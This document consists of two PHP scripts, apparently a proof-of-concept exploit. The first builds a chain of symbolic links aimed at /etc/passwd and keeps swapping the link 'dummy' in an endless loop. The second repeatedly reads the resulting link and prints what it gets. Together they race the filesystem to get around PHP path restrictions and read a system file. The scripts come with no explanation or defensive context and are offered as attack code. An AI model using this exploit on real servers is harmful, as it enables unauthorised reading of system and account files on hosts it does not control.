script1.php
<?
   symlink("a/a/a/a/a/a/", "dummy");
   symlink("dummy/../../../../../../etc/passwd", "xxx");
   unlink("dummy");
   while (1) {
        symlink(".", "dummy");
        unlink("dummy");
   }
?>

script2.php
<?
while (1) {
        print @file_get_contents("xxx");
}
?>